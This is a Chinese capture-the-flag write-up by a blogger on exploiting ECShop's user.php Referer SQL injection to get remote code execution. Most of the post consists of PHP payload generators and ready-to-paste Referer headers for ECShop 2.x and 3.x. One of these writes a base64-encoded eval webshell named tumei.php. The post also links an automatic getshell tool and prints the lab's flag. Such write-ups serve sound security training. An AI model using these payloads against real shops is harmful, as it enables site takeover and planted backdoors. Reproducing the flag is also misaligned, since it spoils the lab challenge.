安鸾CMS系列之Ecshop
涂寐 Lv4

前言

本教程仅供学习参考,请勿用在非法途径上,违者后果自负,与笔者无关。 –涂寐

正文

步骤说明

1
2
3
4
5
6
7
8
9
10
题目URL:http://www.whalwl.site:8030
tips:flag在服务器根目录下,文件名为this_is_flag

Answer:
1、界面信息收集:①ECShop v3.6.0 ②Apache 2.4.25 ③PHP 5.6.37 ④Debian ⑤可以登录注册
2、老规矩,先来一波目录扫描,找到个管理中心,试了试,没法玩的。直接百度,找ecshop的通用漏洞。
一查即到:ecshop 全系列版本网站漏洞 远程代码执行sql注入漏洞漏洞来源:网站根目录下的user.php代码,在调用远程函数的同时display赋值的地方可以直接插入恶意的sql注入语句,导致可以查询mysql数据库里的内容并写入数据到网站配置文件当中,或者可以让数据库远程下载文件到网站目录当中去。
3、方法一:利用脚本生成POC,在/user.php添加Referer参数,参数内容为poc。
4、方法二:直接利用工具getshell,写入ecshop站URL,自动getshell。
5、喜提一枚flag:flag{25efa6ff2d103322f3c675cde6d58361}

图片步骤

image
image
image
image

POC生成脚本

生成写入phpinfo()的Paylaod

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
$shell = bin2hex("{\$asd'];phpinfo\t();//}xxx");
$id = "-1' UNION/*";
$arr = [
"num" => sprintf('*/SELECT 1,0x%s,2,4,5,6,7,8,0x%s,10-- -', bin2hex($id), $shell),
"id" => $id
];

$s = serialize($arr);

$hash3 = '45ea207d7a2b68c49582d2d22adf953a';
$hash2 = '554fcae493e564ee0dc75bdf2ebf94ca';

echo "POC for ECShop 2.x: \n";
echo "Referer: {$hash2}ads|{$s}{$hash2}";
echo "\n\nPOC for ECShop 3.x: \n";
echo "Referer: {$hash3}ads|{$s}{$hash3}\n";
?>

生成写入webshell的Paylaod

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
$shell = bin2hex("{\$asd'];assert\t(base64_decode('ZmlsZV9wdXRfY29udGVudHMoJ3R1bWVpLnBocCcsJzw/cGhwIGV2YWwoJF9SRVFVRVNUW3R1bWVpXSk7Pz4nKQ=='));//}xxx");

$id = "-1' UNION/*";
$arr = [
"num" => sprintf('*/SELECT 1,0x%s,2,4,5,6,7,8,0x%s,10-- -', bin2hex($id), $shell),
"id" => $id
];

$s = serialize($arr);

$hash3 = '45ea207d7a2b68c49582d2d22adf953a';
$hash2 = '554fcae493e564ee0dc75bdf2ebf94ca';

echo "POC for ECShop 2.x: \n";
echo "Referer: {$hash2}ads|{$s}{$hash2}";
echo "\n\nPOC for ECShop 3.x: \n";
echo "Referer: {$hash3}ads|{$s}{$hash3}\n";
?>

直接使用EXP

phpinfo():

1
2
3
4
5
POC for ECShop 2.x: 
Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:107:"*/SELECT 1,0x2d312720554e494f4e2f2a,2,4,5,6,7,8,0x7b24617364275d3b706870696e666f0928293b2f2f7d787878,10-- -";s:2:"id";s:11:"-1' UNION/*";}554fcae493e564ee0dc75bdf2ebf94ca

POC for ECShop 3.x:
Referer: 45ea207d7a2b68c49582d2d22adf953aads|a:2:{s:3:"num";s:107:"*/SELECT 1,0x2d312720554e494f4e2f2a,2,4,5,6,7,8,0x7b24617364275d3b706870696e666f0928293b2f2f7d787878,10-- -";s:2:"id";s:11:"-1' UNION/*";}45ea207d7a2b68c49582d2d22adf953a

webshell(tumei.php/tumei)

1
2
3
4
5
6
POC for ECShop 2.x: 
Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:315:"*/SELECT 1,0x2d312720554e494f4e2f2a,2,4,5,6,7,8,0x7b24617364275d3b61737365727409286261736536345f6465636f646528275a6d6c735a56397764585266593239756447567564484d6f4a335231625756704c6e426f634363734a7a772f63476877494756325957776f4a4639535256465652564e55573352316257567058536b37507a346e4b513d3d2729293b2f2f7d787878,10-- -";s:2:"id";s:11:"-1' UNION/*";}554fcae493e564ee0dc75bdf2ebf94ca

POC for ECShop 3.x:
Referer: 45ea207d7a2b68c49582d2d22adf953aads|a:2:{s:3:"num";s:315:"*/SELECT 1,0x2d312720554e494f4e2f2a,2,4,5,6,7,8,0x7b24617364275d3b61737365727409286261736536345f6465636f646528275a6d6c735a56397764585266593239756447567564484d6f4a335231625756704c6e426f634363734a7a772f63476877494756325957776f4a4639535256465652564e55573352316257567058536b37507a346e4b513d3d2729293b2f2f7d787878,10-- -";s:2:"id";s:11:"-1' UNION/*";}45ea207d7a2b68c49582d2d22adf953a

自动getshell工具

1
https://codeload.github.com/Hzllaga/EcShop_RCE_Scanner/zip/refs/heads/master
  • 本文标题:安鸾CMS系列之Ecshop
  • 本文作者:涂寐
  • 创建时间:2021-11-28 22:19:30
  • 本文链接:https://0xtlu.github.io/article/6c219c57.html
  • 版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!
 评论